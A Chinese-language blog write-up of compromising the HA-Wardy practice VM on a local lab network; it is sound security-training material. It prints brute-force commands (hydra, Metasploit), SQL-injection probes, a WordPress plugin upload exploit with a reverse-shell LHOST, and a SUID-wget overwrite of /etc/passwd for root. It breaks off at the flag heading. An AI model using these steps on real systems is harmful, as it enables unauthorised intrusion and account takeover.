实战打靶集锦-010-HA-Wardy

提示:本文记录了博主的一次打靶经历。


1. 主机发现

目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24


192.168.56.114就是我们锁定的目标靶机。

2. 全端口扫描

接下来,用下面的命令进行全端口扫描。

$ sudo nmap -p- 192.168.56.114


从扫描结果来看,这个靶机只开放了80端口。

3. 服务枚举

下面,我们将枚举一下80端口上运行的什么服务。

$ sudo nmap -p80 -A -sV -sT 192.168.56.114


嗯,这个靶机的80端口上运行的也是Apache的2.4.29版本,并且操作系统也是Ubuntu。

4. 服务探查

既然就这一个80端口,那接下来我们就探查一下具体的服务。

4.1 浏览器访问


通过浏览器发现,这个页面本身没有什么特别之处,就是Ubuntu下默认的Apache2的默认页面。

4.2 目录枚举

通过dirsearch枚举一下web服务的目录。

$ dirsearch -u http://192.168.56.114


还是有一些值得我们查看的内容。接下来再用dirb挂上big.txt字典枚举一下,以防遗漏。

$ dirb http://192.168.56.114 /usr/share/wordlists/dirb/big.txt -r


貌似也没有发现太特别的内容。接下来手工看看扫描出来的内容,经过手工探索,暴露出来的可疑页面有两个,一个是wordpress的home页面,另一个是wordpress的登录页面。

上图中标出来的位置,都是我们接下来要研究的重点。接下来我们分别探查一下,先从login页面开始。

4.3 探查login

先用不同的用户名密码登录(admin/testpwd, hahahah/test123),并通过burp抓包看看,

太好了,从中我们得到两个重要信息:首先,每次请求的时候cookie值不变;第二,admin用户是存在,给了我们爆破的可能。
既然这样,先用弱密码尝试看看能不能登录admin账户,发现弱密码没有成功。然后挂载rockyou爆破一下

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.114 -f http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:Log In"


经过半小时的爆破没有什么进展,我们更换Metasploit试试看(挂载http_default_pass字典)。

msf6 > use auxiliary/scanner/http/wordpress_login_enum
msf6 auxiliary(scanner/http/wordpress_login_enum) > show options
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.56.114
msf6 auxiliary(scanner/http/wordpress_login_enum) > set TARGETURI /wordpress/wp-login.php
msf6 auxiliary(scanner/http/wordpress_login_enum) > set ENUMERATE_USERNAMES false
msf6 auxiliary(scanner/http/wordpress_login_enum) > set VALIDATE_USERS false
msf6 auxiliary(scanner/http/wordpress_login_enum) > set BRUTEFORCE true
msf6 auxiliary(scanner/http/wordpress_login_enum) > set PASS_FILE /usr/share/wordlists/metasploit/http_default_pass.txt
msf6 auxiliary(scanner/http/wordpress_login_enum) > set USERNAME admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/wordpress_login_enum) > set THREADS 10
msf6 auxiliary(scanner/http/wordpress_login_enum) > run


爆破失败。
然后看看找回密码连接是不是存在一些可能的漏洞,比如SQL注入之类。直接输入用户名admin试试看。

嗯,应该是后台把发送邮件的功能给禁止了。我们分布输入admin “ or 1=1;和admin ‘ or 1=1;看看是不是会引起注SQL注入。

这条路也不通,接下来探查一下Ignite Technologies页面。

4.4 探查Ignite Technologies

先浏览一下Ignite Technologies下可以点击或者查看的内容,看看有没有值得我们关注的信息。这里最值得我们关注的是有个Hello world的页面,貌似是可以跟帖的,这里可能就会有漏洞,我们先随便填入信息看是否可以正常提交。

确实提交成功了,google了一下貌似有JQuery相关的漏洞,但是不确定是不是跟靶机上的wordpress有关系。想办法找找看哪里能找到目标靶机上的wordpress版本信息。最后在我们的回帖页面的右下角的位置点击相关连接会下载xml文件。

XML文件中会有一行如下所示的内容。

因此我们基本可以锁定版本号为5.2.3。接下来我们看看wordpress 5.2.3版本上可能存在些什么漏洞。

还真有匹配的漏洞(跨站主机修改? 第一次听说),先把脚本弄下来看看再说。

脚本不复杂,不过貌似也不太可能通过这个实现反弹,运行一下吧。竟然报了一个错误。

Can't locate WWW/UserAgent/Random.pm in @INC (you may need to install the WWW::UserAgent::Random module)

应该是缺少WWW::UserAgent::Random这个包导致的,到https://metacpan.org/pod/上直接用包名搜索一下,然后从左侧的下载菜单下载查到本地,到下载目录依次执行下面的命令安装一下。

$ chmod u+x WWW-UserAgent-Random-0.03.tar.gz
$ tar -zxvf WWW-UserAgent-Random-0.03.tar.gz
$ cd WWW-UserAgent-Random-0.03
$ perl Makefile.PL
$ make
$ sudo make install

然后再次执行EXP。

确实没有啥,暂时放一边吧,实在是看不明白。借用一下Metasploit神器,search一下wordpress关键字试试看。

msf6 > search name:wordpress


还真是不少,总不能一个一个试吧,太要命了,直接用wordpress_scanner试试看。

msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts 192.168.56.114
msf6 auxiliary(scanner/http/wordpress_scanner) > set targeturi /wordpress
msf6 auxiliary(scanner/http/wordpress_scanner) > run


嗯,至少确认了版本是5.2.3,并且还检测到了几个插件的版本,并且在我们之前基于关键字的搜索结果中,确实有对应插件的一些漏洞利用,我们重点关注那些Rank为excellent并且Check为Yes的条目。

我们把标红的三个逐个利用一下试试看。

msf6 > use exploit/unix/webapp/wp_symposium_shell_upload
msf6 exploit(unix/webapp/wp_symposium_shell_upload) > show options


额,这里的EXP适合14.12以下的插件版本,我们前面识别出来的插件版本为15.1,直接跳过,看下一个插件的。

msf6 > use exploit/unix/webapp/wp_reflexgallery_file_upload 
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > show options


这个EXP适用于3.1.3版本,跟我们靶机识别出来的版本一致。用默认的payload,设置rhosts等参数,然后运行一下试试看。

msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set rhosts 192.168.56.114
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set lhost 192.168.56.101
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run


貌似已经成功突破边界,我们试试看。

接下来就是提权了。

5. 提权

在提权之前,先看看是否可以优化一下终端,查看是否有python。

嗯,有python3,太好了。接下来尝试优化。

/usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')"


这样,终端看上去舒服多了。

5.1 枚举系统信息


Ubuntu的18.04.3,内核应该是5.0.0-27,架构是64位。

5.2 查看/etc/passwd

$ cat /etc/passwd | grep -v nologin | grep -v false


看上去比较正常的用户主要是root和raj,这里没办法尝试弱密码登录或者爆破,因为靶机只开了80端口;优化终端之前直接su也不行,如下图。

优化终端之后是可以su的,试了一下,弱密码是不可以的。

5.3 枚举定时任务


没有可以利用的定时任务。

5.4 枚举可执行文件

用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

这里跟之前一样,除了/proc目录和/sys目录下的内容,并没有发现实际有价值的信息。
不过貌似可以确认wordpress是用root用户运行的,因为这些文件都是root用户所有的。

然后搜索一下带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

查询结果倒是挺多,貌似我也不知道怎么用,直接用sudo -l查看一下试试。

需要密码的,目前我们还没有。

5.5 枚举正在运行的进程

$ ps aux | grep tty

说明:使用a和x标志来列出有或没有tty的所有进程,使用u标志来列出用户可读的格式列出进程。

都是gdm的,看来不好搞。不过当不带grep tty的时候发现有mysql在运行。

看看是不是可以直接登录。

$ mysql -uroot -p


弱密码、空密码等都没有尝试成功。我们直接搜索一下mysqll关键字看看。

$ find / -name mysql 2>/dev/null


虽然有这么多内容,但是实际上没找到可用的太多信息。

5.6 查看用户home目录

这里尝试查看raj用户的home目录,竟然成功了,不仅能够ls,还可以cd进去。

里面还有我们熟悉的Mozilla缓存,逐个看看再说。

发现除了一个低级别的flag1,其它的基本都没有权限。既然这样还是老老实实看看www-data的home下吧。

在www-data的home目录/var/www下的html目录下有些内容似乎比较有意思。

此地无银三百两?解压一下看看。

这里应该是有货,这个zip竟然被加密了,先把它弄到卡里本地。


然后爆破一下。

$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt secret.zip

也没有爆破出来,有点卡壳了。
说明:因虚拟机故障,之后的内容是重装了靶机和kali之后的内容,IP地址会有变化,但是不影响整体理解阅读。

5.7 linpeas提权

没有其他招数了,祭出我们的神器linpeas。将linpeas.sh脚本上传到目标靶机的tmp目录下,然后执行一下,发现的内容还是挺有意思的,我们依次放上图片。


貌似找到了两个提权漏洞CVE-2021-4034和CVE-2022-2588,除此之外还有一个CVE-2021-3156。

貌似找到了一个base64编码的用户名密码aarti:aarti@gmail.com,这个有可能可以用来登录wordpress;另外还找到了mysql的用户名密码。

这个更加简单直接,貌似是/usr/bin/wget和/bin/cp有一些特殊的权限,这就意味着如果通过这俩进行提权的话会更加简单,既然这样就先用简单的吧。
既然可以用wget或者cp,是不是意味着我们可以用这俩命令将/etc/passwd文件给覆盖掉?我们试试看,先在kali本机,重新构建一个passwd文件,里面包含/etc/passwd中的所有内容,然后我们再插入一个跟root具有相同权限的用户(前面已经介绍多次,这里不再赘述,需要的翻看之前的blog),最后通过wget上传到靶机覆盖原有的passwd文件。
先通过openssl生成一个密码。

然后在passwd中添加一个新用户行,如下图所示。

然后在kali上启动http服务,在靶机上通过wget下载passwd文件并覆盖/etc/passwd。

如上图所示,应该是成功了,我们先cat一下/etc/passwd看看。

嗯,可以正常看到我们插入的新用户,我们直接尝试su到这个新用户试试。

貌似直接就是root用户了,接下来验证一下。

确实提权成功,其它的复杂方法就直接省略了。

6. 获取flag